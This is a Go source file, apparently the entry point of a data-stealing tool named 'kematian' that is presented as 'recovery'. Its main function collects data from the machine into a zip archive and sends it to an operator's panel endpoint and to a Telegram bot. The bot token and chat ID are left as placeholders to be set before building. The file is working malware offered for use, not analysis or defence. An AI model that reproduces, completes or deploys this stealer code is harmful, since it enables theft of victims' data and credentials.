82 lines
2.0 KiB
Go
82 lines
2.0 KiB
Go
package main
|
|
|
|
import (
|
|
"context"
|
|
"fmt"
|
|
"os"
|
|
"os/signal"
|
|
"syscall"
|
|
"time"
|
|
|
|
"recovery/recovery/exfil"
|
|
)
|
|
|
|
const (
|
|
defaultTimeout = 120 * time.Second
|
|
|
|
// EMBEDDED CONFIG - Change these values before building
|
|
|
|
// Telegram fallback (leave placeholder to disable)
|
|
defaultBotToken = "YOUR_BOT_TOKEN_HERE"
|
|
defaultChatID = "YOUR_CHAT_ID_HERE"
|
|
)
|
|
|
|
func logf(format string, args ...interface{}) {
|
|
f, err := os.OpenFile("kematian.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
|
|
if err != nil {
|
|
return
|
|
}
|
|
defer f.Close()
|
|
msg := fmt.Sprintf(format, args...)
|
|
fmt.Fprintf(f, "%s %s\n", time.Now().Format("2006-01-02 15:04:05"), msg)
|
|
}
|
|
|
|
func main() {
|
|
useTelegram := defaultBotToken != "" && defaultBotToken != "YOUR_BOT_TOKEN_HERE" && defaultChatID != "" && defaultChatID != "YOUR_CHAT_ID_HERE"
|
|
usePanel := exfil.PanelEndpoint != ""
|
|
|
|
logf("kematian start: usePanel=%v useTelegram=%v endpoint=%q authSet=%v", usePanel, useTelegram, exfil.PanelEndpoint, exfil.PanelAuth != "")
|
|
|
|
if !useTelegram && !usePanel {
|
|
return
|
|
}
|
|
|
|
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
|
|
defer cancel()
|
|
|
|
sigChan := make(chan os.Signal, 1)
|
|
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
|
|
go func() {
|
|
<-sigChan
|
|
cancel()
|
|
}()
|
|
|
|
result, zipData, counts, payloads, err := exfil.CollectResultAndZip(ctx)
|
|
if err != nil {
|
|
logf("collect failed: %v", err)
|
|
return
|
|
}
|
|
|
|
if usePanel {
|
|
clientID := exfil.GenerateClientID()
|
|
if err := exfil.SendToPanel(result, clientID, payloads...); err != nil {
|
|
logf("panel send FAILED: %v", err)
|
|
} else {
|
|
logf("panel send OK clientId=%s payloads=%d", clientID, len(payloads))
|
|
}
|
|
}
|
|
|
|
if useTelegram {
|
|
filename := "kematian_" + time.Now().Format("20060102_150405") + ".zip"
|
|
cfg := exfil.TelegramConfig{
|
|
BotToken: defaultBotToken,
|
|
ChatID: defaultChatID,
|
|
}
|
|
if err := exfil.SendToTelegram(cfg, zipData, filename, counts); err != nil {
|
|
logf("telegram send FAILED: %v", err)
|
|
} else {
|
|
logf("telegram send OK")
|
|
}
|
|
}
|
|
}
|